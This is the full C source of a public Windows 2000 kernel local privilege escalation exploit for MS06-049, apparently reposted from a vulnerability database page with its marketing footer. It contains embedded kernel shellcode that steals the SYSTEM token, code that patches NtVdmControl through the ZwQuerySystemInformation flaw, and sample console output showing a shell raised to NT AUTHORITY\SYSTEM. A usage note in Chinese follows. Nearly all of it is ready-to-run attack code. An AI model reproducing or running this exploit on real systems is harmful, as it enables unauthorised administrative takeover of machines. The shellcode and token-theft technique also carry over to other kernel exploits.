/*
MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
Created by SoBeIt
Main file of exploit
Tested on:
Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English
Usage:ms06-049.exe
*/
#include <windows.h>
#include <stdio.h>
#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
unsigned char kfunctions[64][64] =
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{""},
};
unsigned char shellcode[] =
"\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
"\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
"\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
"\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
"\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
"\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
"\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
"\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
"\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
"\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
"\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
"\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
"\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
"\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
void ErrorQuit(char *msg)
{
printf("%s:%x\n", msg, GetLastError());
ExitProcess(0);
}
ULONG ComputeHash(char *ch)
{
ULONG ret = 0;
while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}
return ret;
}
ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{
ULONG i;
if(RVA < pSectionHeader[0].PointerToRawData)
return RVA;
for(i = 0; i < Sections; i++)
{
if(RVA >= pSectionHeader[i].VirtualAddress &&
RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData)
return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
}
return 0;
}
ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{
ULONG i;
if(Offset < pSectionHeader[0].PointerToRawData)
return Offset;
for(i = 0; i < Sections; i++)
{
if(Offset >= pSectionHeader[i].PointerToRawData &&
Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
}
return 0;
}
void GetFunction()
{
HANDLE hNtdll;
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");
ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");
ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed.\n");
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed.\n");
FreeLibrary(hNtdll);
}
ULONG GetKernelBase()
{
ULONG i, Byte, ModuleCount;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed.\n");
if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed\n");
ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
free(pBuffer);
return (ULONG)pSystemModuleInformation->Base;
}
pSystemModuleInformation++;
}
free(pBuffer);
return 0;
}
int main(int argc, char *argv[])
{
PULONG pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode, pRestoreBuffer;
PUCHAR pBase;
PCHAR pName;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
PIMAGE_SECTION_HEADER pSectionHeader;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
char DriverName[256];
ULONG Byte, FileSize, len, i, j, k, Count, BaseAddress, Value, KernelBase, buf[64], HookAddress, Temp, Sections;
USHORT index;
HANDLE hDevice, hFile, hFileMap;
printf("\n MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t Create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
return 1;
}
GetFunction();
if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");
KernelBase = GetKernelBase();
if(!KernelBase)
ErrorQuit("Unable to get kernel base address.\n");
printf("Kernel base address: %x\n", KernelBase);
pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed.\n");
pStoreBuffer = VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed.\n");
printf("Allocated address:%x\n", pStoreBuffer);
if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");
strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
hFile = CreateFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
hFile = CreateFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("CreateFile failed.\n");
}
if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");
printf("File size:%x\n", FileSize);
pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pBase == NULL)
ErrorQuit("VirtualAlloc failed.\n");
if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
ErrorQuit("ReadFile failed.\n");
pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
Sections= pHeader->FileHeader.NumberOfSections;
pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase +
RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
pSectionHeader,
Sections
));
pNamesArray = (PULONG)(pBase +
RVA2Offset(pExport->AddressOfNames,
pSectionHeader,
Sections));
pFunctionsArray = (PULONG)(pBase +
RVA2Offset(pExport->AddressOfFunctions,
pSectionHeader,
Sections));
pOrdinals = (PUSHORT)(pBase +
RVA2Offset(pExport->AddressOfNameOrdinals,
pSectionHeader,
Sections));
len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
if(!strncmp(pName, "NtVdmControl", len))
break;
}
if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");
index = pOrdinals[i];
HookAddress = pFunctionsArray[index] + KernelBase;
memcpy((PUCHAR)pRestoreBuffer, pBase + pFunctionsArray[index] - 1, 0x10);
printf("%s Address:%x\n", "NtVdmControl", HookAddress);
pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;
for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);
buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress - 1;
buf[j++] = 0x10;
memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}
Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (0xe9 << 8) & 0xff00;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[0]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[0] + Count * Byte) & 0xff00) == Value)
break;
}
printf("Need value generated:%x\n", pRestoreBuffer[0] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress - 1), 0, &Byte);
Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}
Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[1]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[1] + Count * Byte) & 0xfff0) == Value)
break;
}
printf("Need value generated:%x\n", pRestoreBuffer[1] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress + 3), 0, &Byte);
memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));
CloseHandle(hFile);
printf("Exploitation finished.\n");
ZwVdmControl(0, NULL);
return 1;
}
Usage:
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\>ms06-049
MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerabil
ity Exploit
Create by SoBeIt.
Kernel base address: 80400000
Allocated address:420000
File size:1a3b10
NtVdmControl Address:80512dae
Single value:5a
Jump value:e900
Base value:ec8b55cc
Need value generated:ec8be91a
Count value:1a3
Single value:5a
Jump value:8070
Base value:7868ff6a
Need value generated:78698070
Count value:16f
Exploitation finished.
C:\>whoami
NT AUTHORITY\SYSTEM
C:\>
如果是FAT文件系统,直接运行即可。如果是NTFS文件系统,需要把一份当前内核对应的ntoskrnl.exe上传到与exploit同一目录下使用。
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation